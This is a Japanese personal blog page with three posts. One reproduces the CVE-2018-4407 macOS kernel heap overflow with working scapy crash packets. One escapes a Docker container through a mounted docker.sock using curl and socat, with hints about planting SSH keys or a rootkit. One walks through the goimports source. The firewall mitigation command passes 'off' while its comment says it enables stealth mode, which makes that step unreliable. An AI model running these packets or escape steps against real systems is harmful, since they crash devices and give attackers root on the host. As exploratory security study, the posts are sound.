knqyf263's blog

自分のためのメモとして残しておくためのブログ。

CVE-2018-4407 (OS X Remote Kernel Heap Overflow)を試してみた

MaciPhone/iPadを簡単にクラッシュさせることが出来るという動画が少し前に話題になっていました。

PoCも公開されたので、実際に試してみたという記事です。

概要

MaciOSバイスをクラッシュさせるCVE-2018-4407の動画が話題になっていましたが、PoCコードは公開されていなかったので試せない状態でした。 ですが実はその翌日に別の人がPoCコードを公開していたようです(全然気づかなかった)。 どういう原理か気になったので試しつつ調べてみました。 普段はデバッガで追うのですがMacのKernelは試すのが大変だったので、今回はそこまではやっていません。 PoCを色々いじってみて挙動から推測した感じです。

TL;DR

先に自分の知っている範囲でまとめておきます。 実際にメモリの中とかを見たわけじゃないので正しいかは分かりません。 推測の部分が多いです。

  • 攻撃のためには不正なTCPパケットを送る必要がある
    • ヘッダを大きくすることが出来ればTCPじゃなくてもいけそう
  • IPヘッダのOptionsを壊しておく
    • PoCではOptionsの長さ指定をおかしくしている
  • IPヘッダが壊れているのでMacはICMPのParameter Problem(Type 12)を返そうとする
  • Type 12は元の不正なパケットのIPヘッダとデータグラムの先頭部分をペイロードに入れる
  • その際に確保しているメモリが少ない&長さのチェックがない
  • TCPヘッダを大きくすれば確保されたヒープのサイズを超えてアクセスしてOSがクラッシュ
  • ヒープバッファオーバーフローなので最悪任意コードが実行可能
  • MacFirewallでステルスモードを有効にすれば影響を受けない
    • ICMPを返さなくなるため
  • 攻撃するためには同一ネットワークにいる必要あり
    • インターネット経由での攻撃は難しい
    • IPヘッダのOptionsが不正な値なため、ルータを通過しない(ルータがICMPを返してしまう)

詳細

発見者の方のページに詳細が書いてあります。

lgtm.com

PoCは以下で公開されていました。

まずは試してみます。 攻撃対象のMacIPアドレスを調べておきます(今回は仮に192.168.1.2だとする)。

$ sudo scapy
WARNING: Cannot read wireshark manuf database
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)
INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication.
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.

                     aSPY//YASa
             apyyyyCY//////////YCa       |
            sY//////YSpcs  scpCY//Pp     | Welcome to Scapy
 ayp ayyyyyyySCP//Pp           syY//C    | Version 2.4.0
 AYAsAYYYYYYYY///Ps              cY//S   |
         pCCCCY//p          cSSps y//Y   | https://github.com/secdev/scapy
         SPPPP///a          pP///AC//Y   |
              A//A            cyP////C   | Have fun!
              p///Ac            sC///a   |
              P////YCpc           A//A   | Craft packets like I craft my beer.
       scccccp///pSP///p          p//Y   |               -- Jean De Clerck
      sY/////////y  caa           S//P   |
       cayCyayP//Ya              pY/Ya
        sY/PsY////YCc          aC//Yp
         sc  sccaCY//PCypaapyCP//YSs
                  spCPY//////YPSps
                       ccaacs

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

この1パケットを送るだけでMacがクラッシュします。

IP Options

このときに送られたパケットをWiresharkで見てみると、IPヘッダのOptionsのところでエラーが出ています。 他にもTCPMD5 signatureのサイズが正しくないと怒られています。

f:id:knqyf263:20181105090949p:plain

では今度は同じパケットを外部にある自分のサーバ宛に送ってみます。

>>> send(IP(dst="Public IP address",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

ICMPが返ってきました。これはルータから返ってきています。

f:id:knqyf263:20181105091353p:plain

「Parameter problem」と言われており、IPヘッダがおかしいということでエラーが返されています。 このとき、ICMPのペイロードに元のパケットのヘッダ等が含まれているのが重要です。

また、Optionsの中身がルータでチェックされて不正な場合はルータからICMPが返されてしまうため、インターネット経由での攻撃は難しいことが分かります。 もしかしたらルータによっては確認しないかもしれませんが、通過する全てのルータをすり抜ける可能性はほぼないかと思います。

Optionsの2バイト目がサイズを表しますが、この長ささえあっていればOptionsの中身自体が適当でも通過するようです。 以下では "\x08" を8個詰めたのですが、Option自体はUnknownと言われるもののICMPは返されずルータを通過しました。

f:id:knqyf263:20181105091822p:plain

今回の脆弱性は対象デバイスにICMPを返させる必要があります。 そのため同一ネットワーク内からのみ攻撃可能なようです。

TCP MD5 signature

先程のキャプチャでTCP MD5 signatureのサイズがおかしいというメッセージが出ていました。 試しに正しいサイズにしてみます。

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*16),(19, "2"*16)]))

実はこれでも成功します。 Wiresharkで見るとTCP MD5 signatureの部分が正常に表示されています。

f:id:knqyf263:20181105093752p:plain

なので実はTCP MD5 signatureのサイズが2バイトずれているのは関係ありませんでした。 単に公開した人のミスっぽい気がします。 気になりすぎて本人に聞いたらLikeされたので、その通りだね、という意味なのかなと勝手に思っています。

で、何で2個Optionないと落ちないのか気になって試しに1個にすると確かにクラッシュしませんでした。

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*16),(19, "2"*16)]))

そもそもIPヘッダの方が壊れてるならそっちのサイズを増やせば良いんじゃないの?TCPヘッダ関係あるの?というのが疑問で、発見者のブログにもTCPに関する解説がなくて困ってました。

という話をしていたら、とある会社のグループリーダーの方が以下のようなことを言っていました。 f:id:knqyf263:20181105114443p:plain

確かにTCPヘッダのほうが溢れる原因なのかもしれないと思い、試しにTCPヘッダの方を大きくしてみました。

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*32)]))

これでもクラッシュしました。 TCP Optionsに大きい値が入っていることが分かります。 PoCを公開した方は正規のサイズまでの方が良いと考えて2個にしたのかもしれません(サイズ間違ってましたが)。 ですが実際にはTCP Optionsが1個でも大きくすれば刺さるみたいです。

f:id:knqyf263:20181105115110p:plain

実際にデバッガで追ったわけではないので発見者のブログと合わせて推測したに過ぎませんが、ICMPのType 12を返させるためにIPヘッダのOptionsを壊すのが必要で、実際にクラッシュさせるためにはTCPヘッダを大きくする必要があるのではないかと思います。 確証はないですが、色々試してみた挙動としてはそのように見えました。

回避策

発見者も書いていましたが、MacFirewallを有効にしてステルスモードを有効にすれば良いです。 有効にする方法は以下に書いてあるのですが、自分のMacではうまく出来ませんでした。

support.apple.com

なのでターミナルから実行しました。

# Firewallを有効にする
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on
# ステルスモードを有効にする
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode off

これpingとかに応答しなくなるだけかと思っていたのですが、エラー時のICMPも返さなくなるのですね。 実際に有効にしてからIPヘッダ壊してTCPヘッダサイズは小さいまま送ってみましたが、ICMPは返ってきませんでした。 TCPヘッダサイズを大きくしてもクラッシュしません。 恐らくICMPの処理に入らないためクラッシュしないのだと思います。

まとめ

Appleとしては、TCPUDPのヘッダサイズは固定だろうし〜とサイズを決め打ちで作っちゃったのかな、と予想してます。油断しすぎてサイズのチェックしてなかった。 その結果、可変長なTCPヘッダのOptionsに大きいサイズ詰めて送ったらオーバーフローしてしまった。 特にICMPの実装で普段そこまで使われない処理だったので見逃されていたのかなと思います。 完全に推測ですが。

実際に内部の動きを追うところまで出来なかったのは残念ですが、こういう基本的なところにもまだまだバグがあるのだなーと分かって面白かったです。

curlで始めるDockerコンテナからの脱出

リアル脱出ゲームやりたいなーと思ってたのでそれっぽいタイトルにしてみましたが、 /var/run/docker.sock をDockerコンテナにマウントするとroot権限相当のことが出来る、という詳しい人なら普通に知ってる話です。

ですが、ただ普通に試しても面白くないしdockerコマンド使わずにやってみた、というライトな記事です。

概要

/var/run/docker.sock をマウントしたDockerコンテナからホストのrootを取るまで、一切dockerコマンドを使わずにやってみたというひねくれた話です。alpineとかだとcurlも入ってないし、dockerコマンドを使うのに比べて攻撃しやすいとかそういうのは全くなく、深く知るためにやってみただけです。何の意味があるの?と聞かれれば何も意味ありませんと答えます。

さらに言うと、curl/socatの話がメインになっていてホストへの脱出とかもはや関係ないという説もあります。

環境

  • ホストOS:Ubuntu 16.04
  • コンテナイメージ:alpine:3.7
    • /var/run/docker.sock をマウント

Dockerなので特に環境は関係ないはずですが、一応書いておきます。

詳細

まず前提として、 /var/run/docker.sock をマウントしたDockerコンテナがあるとします。

root@ubuntu-xenial:~# docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine:3.7 sh
/ #

ここに侵入された場合にホストのrootをどうやって取るか、を説明します。

すでに知っている人も多いと思いますが、Dockerは通常だと /var/run/docker.sockUNIXドメインソケットでHTTPサーバが待ち受けています。Dockerコマンドを実行するとHTTPリクエストが発行されて、サーバが実際に処理します。 なので、curlなどを使ってDocker操作が可能です。

上のalpineに侵入されたとしてcurlでDockerを操作してみます。 まず先に必要なコマンドをインストールします。 この時点でdockerコマンド入れたほうが確実に楽です。

/ # apk add --update curl socat

コンテナ作成

ではまずコンテナを作成します。 コンテナ作成のエンドポイントは /containers/create です。

Docker Engine API v1.37 Reference

POSTするJSONの値で作成するコンテナのオプションが指定できます。 --unix-socketUNIXドメインソケットのpathを指定しています。

/ # curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create?name=attack -d '{
  "Image": "alpine:3.7",
  "Cmd": ["/bin/sh"],
  "OpenStdin":true,
  "Mounts": [
    {
      "Type": "bind",
      "Source": "/",
      "Target": "/host"
    }
  ]
}'
{"Id":"0644be52881892f5f7dc311611933c979eb030eec5d9b11d0707c47b2bdff38c","Warnings":null}

上の例では、ホストの / をコンテナの /host にマウントしています。 利用するイメージは alpine:3.7 で、CMDには /bin/sh を指定しています。 コンテナ名は何でも良いですが attack にしています。

この状態でホストのdockerコマンドで一覧を見てみます。

root@ubuntu-xenial:~# docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                         PORTS               NAMES
0644be528818        alpine:3.7          "/bin/sh"           2 minutes ago       Created                                            attack

STATUSがCreatedになっています。そういうSTATUSがあるのを今まで意識してませんでした。 この状態だと起動していないので、コンテナを起動します。

コンテナ起動

先程のコンテナ名を指定してcurlコマンドを実行します。 コンテナ起動は containers/{id}/start です。

Docker Engine API v1.37 Reference

curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/attack/start

これで準備は完了です。

コンテナアタッチ

上で作成したコンテナにattachしてみます。

Docker Engine API v1.37 Reference

コンテナ内でコマンドを叩くだけならcurlで良いのですが、interactiveに操作しようとするとraw streamが返って来るのでcurlだと困ります(知らないだけでオプションあるかもですが)。

今回はsocatを使います。socatでHTTPリクエストを送るとそのままソケットが開かれるので、コマンドを打ったり出来ます。 以下のようなHTTPリクエストを送ります。

POST /containers/attack/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

いちいち打つの面倒なのでパイプで渡します。

(cat <<EOF
POST /containers/attack/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
EOF
cat - ) | socat - UNIX-CONNECT:/var/run/docker.sock


HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

[コマンド打てる]

レスポンスが返ってきて、そのままコマンドが打てます。 このコマンドは新しく起動したコンテナ内で実行されます。 このコンテナは /host にホストのrootディレクトリをマウントしているので、chrootすればホストの操作が可能です。

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

chroot /host
obash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
)groups: cannot find name for group ID 11
iTo run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@0644be528818:/# cat /etc/hostname
ubuntu-xenial
root@0644be528818:/# ps aux
...
root     14209  0.0  0.0   1560     4 ?        Ss   01:56   0:00 /bin/sh
root     14231  0.0  0.0      0     0 ?        S    01:56   0:00 [kworker/1:2]
root     14254  0.0  0.0   1508     4 pts/0    S+   02:10   0:00 cat -
root     14255  0.0  0.1  11876  1568 pts/0    S+   02:10   0:00 socat - UNIX-CONNECT:/var/run/docker.sock
root     14258  0.0  0.3  18224  3260 ?        S    02:11   0:00 /bin/bash -i
root     14270  0.0  0.2  34424  2880 ?        R    02:12   0:00 ps aux

表示は見やすいように少しいじっていますが、hostnameにはホストの ubuntu-xenial が表示され、psコマンドでホストのプロセスが見えています。

ということであとはSSHの鍵でも置けば自由に入れますし、rootkitでも置いてバックドア化すればいつでもログイン可能になります。

まとめ

Dockerの操作はUNIXドメインソケット経由で可能なのでcurlでも普通に実行できます。 ただシェルを操作するときにcurlだと出来なくて困ってたのですが、socatで出来ました。socat万能。 curlとsocatで docker run 相当のことが出来ると知っておくと何か便利なことがあるかもしれません。

goimportsのソースコードを読んでみた

概要

go generate用のツールを作る時にパッケージを自動でimportしたくなったので、goimportsのソースコードを読んでみました。 Goの標準ツールということで凄い技術でやっているんだろうな...と漠然と思っており、自分なんかに理解できるだろうかという不安があったのですが、読んでみたら泥臭いことを丁寧にやっている感じでした。 コードは綺麗だし参考になるところだらけなのですが、割と普通のことをやっている感じなので必要以上に恐れずに一度読んでみると良いのではないか、と思いました。

せっかく読んだので重要そうに感じたところだけまとめておきます。 大分省略したにも関わらず長くなって誰にも読まれない文章に昇華されてしまって残念です。自分用のメモということで。

バージョン

自分が読んだときのコミットハッシュは以下です。

コミットハッシュ:3c07937fe18c27668fd78bbaed3d6b8b39e202ea

GitHub - golang/tools at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea

流れ

最初にgoimportsの重要な(だと自分が思った)処理の部分の流れについてまとめておきます。

  • AST取得
    • goimportsの対象ファイルのASTを取得する
  • AST解析
    • ASTを解析して、import一覧と使っているパッケージ一覧(とシンボル)を取得する
      • 前者:import "github.com/knqyf263/fooなどのimport文
      • 後者:foo.Barならパッケージがfoo、シンボルがBar(structなどは除外する)
  • import pathからパッケージ名の取得
    • github.com/knqyf263/go-foo のようなimport pathから実際のパッケージ名を取得しておく(import pathは go-foo だがパッケージ名は foo など、異なったりするため)
    • 単に github.com/knqyf263/go-foo/foo.go 等のGoのファイルを開いてAST解析し、パッケージ名を取得するだけ
  • 不要なimportの削除
    • 上で取得したimport一覧のうち、使われているパッケージの一覧に含まれないパッケージを探して削除
  • importの自動追加
    • 同一パッケージ内の探索
      • 同一パッケージ内の別ファイルをパースする
        • foo/bar.goに対してgoimportsを適用したらfoo/baz.goやfoo/qux.goをパース
      • 同一パッケージ内でもし同じパッケージをimportしていれば、それを優先して使う
        • foo/bar.goでqux.Printをしていて、foo/baz.goでimport "github.com/knqyf263/qux をしていればそれを優先して利用
    • $GOROOTと$GOPATHの探索
      • 最初に全てを探索してmapを作る
        • vendorやinternalは一切関係なしに、find $GOPATH/src -name "*.go" するようなイメージ(あくまでイメージで実際はいろいろ枝刈りしている)
        • この処理は一度のみ行われる
      • パッケージ名がimport path(の最後の2つの要素)内に含まれているものを候補として抽出
        • fooというパッケージ名を探している場合、 github.com/knqyf263/go-foo はfooという文字列を含むため候補となる
        • あくまで候補であり github.com/foo/bar などもfooを含むため抽出される
      • 対象のファイルからパス的に近いものを優先するようにする
        • foo/bar.go内で使われているquxを探す場合、 ../vendor/github.com/knqyf263/qux の方が ../../../../github.com/knqyf263/qux よりもスラッシュの数が少ないため優先される
      • symbolの確認
        • 候補のパッケージのexportされているsymbolを全て取得し、全て存在するか確認する
        • qux.Printを使っている場合に、 github.com/knqyf263/qux のパッケージでexportされているsymbolがHogeFugaだけであれば、このパッケージは対象外となる
    • import文の追加
      • 上で条件を満たすパッケージが見つかれば、import文をASTのライブラリを用いて追加する

詳細

mirrorがGitHubにあるのでそちらを見ていきます。

github.com

自分が重要だと思ったところだけ流して書いていくので、細かいところが気になった人は自分で読んでみると良いと思います。

imports.Process からが重要なので、その前は気にしなくて良いです。

まず、goimportsのコマンド自体は以下の cmd/goimports/goimports.go になります。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

main (cmd/goimports/goimports.go)

まずmainを見ます。 この中で gofmtMain() を呼んでいます。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

gofmtMain (cmd/goimports/goimports.go)

flagの処理など色々やっています。
goimportsではファイルを渡したりディレクトリを渡したりできるので、そこら辺の処理もやっています。

そして何やかんやで processFile() が呼ばれます。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

processFile (cmd/goimports/goimports.go)

指定されたファイルをOpenして中身を読み込んだりします。 それを imports.Process に渡します。 import周りの実際の処理はこのProcessで行われます。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

結果が返ってきたらファイルに書き込んだり差分を表示したりしてgoimportsコマンドの処理は終わりです。

ではProcessの中を見ていきます。

Process (tools/imports/imports.go)

まずこのProcessですが、exportされているため自分のツールで使いたい場合は imports.Process で呼び出すことが可能です。

imports - GoDoc

ファイルの中身が渡ってきているので、それをparseします。 parseの中では色々やっていますが、やりたいこととしては抽象構文木(AST)を得ることなので、とりあえずはParseFileを呼んでいることだけ知っておけば良いかなと思います。

parser - The Go Programming Language

これで与えられたファイルのASTが手に入りました。

次にfixImportsを呼んで不要なimportの削除や、必要なパッケージのimportを行います。 一番知りたいのはこの中の処理になります。

tools/imports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

その後 sortImports でimport文を並び替えたり、format.Sourceソースコードを整形したりして終わりです。

fixImports (tools/imports/fix.go)

ここからは少し細かい話になっていきます。あとの関数などは全てfix.goのものです。

得られたASTを解析するための関数 visitFn を定義しています。 ASTの解析については色々な方が解説を書いているので省略します。 visitFn では2つのことをやっています。

  • ImportSpec(import文)の解析
    • import "github.com/knqyf263/foo" みたいなやつ
  • SelectorExprの解析
    • foo.Bar みたいなやつ(多分)

ImportSpecの解析

ImportSpecの場合、importPathToName を呼んでいます。 tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

importPathToName によってimportのpathからパッケージ名への変換が行われます。 パッケージ名が分かれば、それをdecls というmapに保存しておきます。

importPathToName は変数で、実体は importPathToNameGoPath になります。

importPathToNameGoPath

importPathToNameGoPathを見ていきます。 この関数ではimportのpathからパッケージ名への変換を行います。 これは、importのpathだけではパッケージ名が分からないためです。 例えば gopkg.in/yaml.v2 というimport pathで、パッケージ名はyamlだったりします。 そこでどうするかと言うと、ファイルを直接見に行ってパッケージ名を調べます。

標準パッケージについては事前に分かっているため、予め変数として保持しています。 これを使うと、例えば net/http というimport pathの時に http というパッケージ名がすぐに分かります。

tools/zstdlib.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

標準パッケージにないimport pathについてはimportPathToNameGoPathParseで探します。

importPathToNameGoPathParse

build.FindOnly オプションを付けて build.Import 呼びます。 これは標準パッケージにないimport pathを解決するためのメソッドです。

build - The Go Programming Language

この結果importしたいライブラリのpathが分かるため、そのディレクトリ内のファイル名を全て取得します。 これらのファイルの中からパッケージ名を探します。 上記ファイルのうち、 .goサフィックスについており、かつ _test.go でないものを探します。 そしてGoのファイルが見つかれば、それをさきほど同様 parser.ParseFile でパースします。 このパッケージ名がdocumentationやmainの場合はskipし、条件を満たすパッケージ名が見つかるまで探していきます。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

見つかればパッケージ名をreturnして終わりです。

SelectorExprの解析

foo.Bar みたいな形の解析です(多分)。 このような形の中には、structなども含まれます。 最初にそういう場合を弾き、パッケージ名だけを取り出します(後述しますが、実はパッケージ以外にも同一パッケージ内で定義されたvarやconstも含んでいる)。 tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

このパッケージ名はとりあえず利用されていることがわかったため、 refs に入れます。 foo.Barであれば refs["foo"] = make(map[strinb]bool) になる。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

次に dirPackegeInfo を呼んでいます。 これも実際の関数は dirPackageInfoFile になるのでそちらを見ていきます。

dirPackageInfoFile

この関数は、goimportsの対象となっているファイルと同じパッケージにあるファイルについての情報を収集する関数になります。

最初に ioutil.ReadDir(srcDir) でgoimportsの対象ファイルと同じディレクトリ内のファイル情報を全て取得します。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

そしてfor文を回して .go で終わるなど、goに関連するファイルだけを取得します。 いつものように parser.ParseFile でASTを取得して解析します。

まず root.Declsから ast.ValueSpec なものを取り出して info.Globals に格納しています。 tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これはどういうことかと言うと、同じパッケージ内であればvarやconstで宣言した物が見えるためです。 variable.Foo()とアクセスしているが、このvariableはパッケージ名ではなく単なるvarで宣言された変数という可能性があるため、このvariableを後々パッケージ名として処理しないように収集しています。

次にimport文も集めて info.Imports に格納しています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

最後に collectReferences を使って、ast.SelectorExpr を集めています。 collectReferences ではSelectorExprのうち、Exportされているものを info.Refs に格納するようになっています。 foo.barであれば info.Refs には入らず、 foo.Barであれば入るということです。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これで同一パッケージ内の情報収集は終わりです。

SelectorExprの解析(続き)

dirPackageInfoの結果がpackageInfoに格納されます。 次に、取得したpkgNameが decls に存在するか確認します。 これはimport文を収集したものなので、存在すれば既にこのpkgNameはimport済みということになります。

存在しない場合は、先程収集した packageInfo.Globals を確認します。 これはvarやconstに定義された名前だったので、このmapに存在すれば実はパッケージ名ではなく変数名や定数名だったことが分かります。

どちらにも合致しない場合はまだ未importのパッケージ名ということになるため、これを refs というmapに入れます。 この refs は2次元配列のようになっているため、呼ばれている方の名前も格納します。 つまりfoo.Barのようになっていて、このfooが未importであれば refs["foo"]["Bar"] = true のようになります。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これは、単にfooというパッケージ名だと誤ってimportすることが多くなってしまいますが(fooというパッケージが複数あった場合に判別できない)、BarというSymbolがExportされているfooパッケージを探すことで精度高くimportが可能なためです。

ここまでで、対象のファイルの中で利用されているパッケージ名の一覧と、未importのパッケージ名+Symbol一覧が手に入りました。

不要なimport分の削除

先程の2つの解析により、以下の2つを得ています。

  • decls: importされているパッケージ一覧
  • refs: 実際に利用されいているパッケージ一覧

これらの差を見ることで不要なimportが判定できます。 つまり、 decls にあるパッケージ名のうち、 refs にないものを unusedImportにいれて削除対象とします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

実際の削除処理はこちら。CGOの場合はskipなどの処理が入っていたりはしますが、先程のunusedImportを削除しています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

import済みのパッケージ名の除去

未importのパッケージ名についてはSymbolをrefsに入れてあります。 なので、Symbolがないものについては既にimportされているパッケージであることが分かります。 このあとの処理は未importのものをimportする処理なので、それらは削除します。

削除した結果、refs が空になれば未importのパッケージがないということになるため処理を終わります。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

未importのパッケージをimportする

ここからが一番肝心の処理になります。 まず未importのパッケージ情報が入っている refs をfor文で回します。 それらをgoroutineで処理し、パッケージのimport pathを探します。

同一パッケージから探す

dirPackageInfoFile の中で同一パッケージの別ファイルの情報を集めました。 このimportの中に同じパッケージ名があれば同じimport pathを使うようにします。 ただし、同じsymbolが使われていることが前提になります。 foo.Barがgoimportsの対象ファイル内で使われていて、同一パッケージにfoo.Barがあれば同じfooであるとみなしますが、foo.Bazになっていればskipします。

同一パッケージの別ファイルでfoo.Barが使われており、 import "github.com/knqyf263/foo" になっていれば、同様のimport pathであるとみなしてこのパッケージ名に関する処理を終わります。

findImport(全体から探す)

同一パッケージ内になければ全体から探します。 findImport が呼ばれていますが、実体は findImportGoPath なのでその中を見ていきます。

findImportStdlib

最初に findImportStdlib で標準パッケージ内を探しています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

探すときには同時にsymbolsも渡しており、全てのsymbolがexportされている場合はimport pathが返ってきます。 標準パッケージは以下のように事前にmapが定義されています。

        "fmt.Errorf":                                    "fmt",
        "fmt.Formatter":                                 "fmt",
        "fmt.Fprint":                                    "fmt",
        "fmt.Fprintf":                                   "fmt",

例えば fmt.Fprintfmt.Errorf がgoimportsの対象ファイル内で使われていれば fmt というimport pathが返ってきます。 しかし、fmt.Fprintfmt.Foo が利用されている場合は全てのsymbolが一致しないため fmt は返されません。

また、rand.Readの場合はmath/randではなくcrypto/randを使うような特別な対応も入っていたりします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

標準パッケージになかった場合は、ついに$GOROOTと$GOPATHを探しに行きます。 まず全てのpathをscanします。 これらは sync.Once を使って一度しかscanしに行かないようになっています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

scanGoDirs

scanGoDirsの中を見てみます。

build.Default.SrcDirs()$GOROOT/src$GOPATH/src が返ってきます。 これらの下を再帰的に全て見て行きます。 少し驚いたのですが、goimports対象のファイル付近のvendorだけ見たりとかしてるのかと思ったのですが、$GOPATH/src の下は全てなめています。 つまり、github.com/knqyf263/test1/vendorgithub.com/knqyf263/test2/vendor もこの時点では一緒に扱われます。

ファイルの場合、 src直下にあるものはskipします。$GOPATH/src/main.go みたいなもの。 あとは .go で終わらないものもskipします。 そしてこのファイルの存在するディレクトリを取得し、$GOPATH/src以降をimportPathとして取り出します。 この時、上で述べたようにvendor以下も全て取得しているためVendorlessPath を呼んでvendor以降のimport pathも取り出してimportPathShortとします。 これらを合わせてpkgというstructに保存します。 例えば以下のようになります。

imports.pkg{
  dir:             "/home/knqyf263/src/github.com/future-architect/vuls/vendor/github.com/knqyf263/go-cpe/naming",
  importPath:      "github.com/future-architect/vuls/vendor/github.com/knqyf263/go-cpe/naming",
  importPathShort: "github.com/knqyf263/go-cpe/naming",
}

出来上がったpkgをdirScanというmapに保存しておきます。

これを全てのdirについて行うため、dirScanのkey数はかなりの量になります。 当然ですが、同じdirはskipされるようになっています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

ディレクトリの場合、"testdata"や"node_modules"というディレクトリ名の場合はそれ以降探索しないようになっています。 他にもignoreの設定が可能なため、ignoreに設定されている場合もそのディレクトリ以下は探索しません。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

シンボリックの場合の処理もありますが割愛します。

探索はfastwalkという x/tools/internal で定義されているモジュールを使っています。 internalなため、外部からは利用できません。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

上記の処理により$GOROOTと$GOPATHを全てscanしてscanDirに入れ終えました。

pkgIsCandidate(候補検索)

まず最初にscanDirのうち、今回のパッケージ名の候補となりそうなpkgの一覧を取得します。 これはpkgIsCandidate の中で行われているので見てみます。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

pkgIsCandidate では最初にcanUseでvendorやinternalなどのルールに一致しているか確かめます。 子は親のvendor等を見ることができますが、子同士やさらに子のvendor等は見ることができません。 つまり ../vendor../internal は許されるが、../foo/vendor../foo/internalbar/vendorbar/internal は見ることができません。

これも予想もつかない凄いコードでやっているんだろうと勝手に思い込んでいましたが、読んでみたら普通な感じでした(シンプルにやっていて凄いとは思いましたが)。 canUse の中を見ると、自分でも頑張れそうな気持ちになれるのでおすすめです。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

次に lastTwoComponents でimportPathの最後の2つの要素を取り出します。 github.com/knqyf263/foo なら knqyf263/foo になります。 そして、パッケージ名がこの文字列に含まれるかを調べます。 例えばパッケージ名がscanなら以下の全てにヒットします。

  • hcl/scanner
  • vuls/scan
  • text/scanner

それどころかnqみたいなパッケージ名の場合、knqyf263/foo にもヒットします。 あくまで候補でありこのあとフィルタするので間違うことはないのですが、シンプルな感じだなーと思いました。

また、これは github.com/knqyf263/foo というimport pathでパッケージ名がbarの場合は候補に選ばれません。 つまりgoimportsが勝手に補完してくれなくなります。 パッケージ名とディレクトリ名は一致させるようにしましょう(普通にGo書いてたら一致させるとは思いますが)。

他にも大文字の場合やハイフンが入ることにより一致しない場合をなくすため、小文字にしてハイフンを削除してからマッチングしたりもしています。 github.com/json-iterator/go はパッケージ名がjsoniterですがimport path内には存在しません。ハイフンを削除して初めてマッチします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

distance(距離計算)

上の関数で候補のパッケージを取得しましたが、これらのパッケージと今処理中のパッケージの距離を計算します。 この距離というのは、どのパッケージを優先してimportするべきか、という優先度になります。 計算自体はdistanceで行われています。

もう段々分かってきたかと思いますが、このdistanceも非常にシンプルです。 まず相対パスを出します。あとはその相対パス内のスラッシュ(正確にはセパレータ)の数を数えるだけです。

例えば、"../vendor/github.com/knqyf263/foo" であれば4になります(実際の処理では最後に1足してるので5ですが)。 ../../../../github.com/knqyf263/foo であれば6になります。 つまり、パス的に近い遠いを測っています。 すぐに難しいアルゴリズムとか持ち出してこない感じで好きになりました。

